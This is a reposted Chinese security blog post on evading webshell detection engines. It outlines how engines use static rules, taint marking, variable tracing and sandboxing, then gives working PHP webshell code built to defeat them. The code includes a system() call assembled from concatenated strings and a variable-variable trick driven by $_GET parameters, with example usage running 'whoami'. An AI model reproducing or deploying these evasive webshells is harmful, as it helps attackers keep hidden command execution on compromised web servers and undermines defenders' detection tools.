webshell检测引擎对抗思路

admin 2024年3月5日18:11:53评论18 views字数 993阅读3分18秒阅读模式

一、引擎的检测思路(个人理解)

webshell检测引擎对抗思路

静态:
通过样本库,正则匹配规则库等等进行匹配,检测是否命中规则。
动态:
污点标记:常见的传参方式都会被标记为污点入口,如POST,GET。
    例如(PHP):<?php $a=$_GET['a'];$b=$$a;$b($_GET['b']);?>

模拟赋值:在变量为未知时,引擎会自定义赋一些值进入程序中模拟执行探查是否恶意。
    
模拟追踪:传统的变量传递,引擎会追踪且分析出它们最后的值。
    例如(PHP):<?php $a='b';$b=$a;$c=$b;?>

模拟执行:代码放入沙箱模拟执行。

二、检测引擎的绕过思路

绕过 污点标记

利用非常规输入方式绕过

例如:file()函数,读取自身进行绕过。

<?php
file('XXX');

substr(file('XXX')[0]);
#读取XXX文件第一行,也可添加写文件代码,通过读取自定义文件获取自定义内容。
?>

这里只是举例一个思路,大家可以多多思考其他方式,比如利用一些其他非常规传值方式进行绕过……

绕过 模拟追踪

先看一段代码,我们简单分析一下引擎大概率如何追踪并查杀的

<?php
$a='sys';

$a.='tem';
#通过字符拼接得 system
$c=$_GET['a'];
$a($c);
#最后组合即可获得一个常见的webshell(system($_GET['a']);),最后识别为恶意
?>

我们需要思考引擎的追踪方式,如果让代码中其中一个$a变的可控,那它该怎么追踪呢?

<?php

$a='sys';
#引擎跟踪‘sys’赋值到了$a;
${$_GET['b']}.='tem';
#到这引擎并不知道‘tem’赋值给了谁。
$c=$_GET['a'];
$a($c);
#引擎在这拼接时,得到:sys($_GET['a'])的一段代码,这时候并不满足恶意代码的条件。
?>
#最终识别为正常

#?a=whoami&b=a

三、总结

文章中的思路是个人在一些线上webshell检测平台测试并进行总结的,在对抗中需要一些奇思妙想,利用各种特性进行绕过。

免责声明由于传播、利用本公众号MaLoSec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号MaLoSec及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

原文始发于微信公众号(MaLoSec):webshell检测引擎对抗思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日18:11:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   webshell检测引擎对抗思路https://cn-sec.com/archives/2549061.html

发表评论

匿名网友 填写信息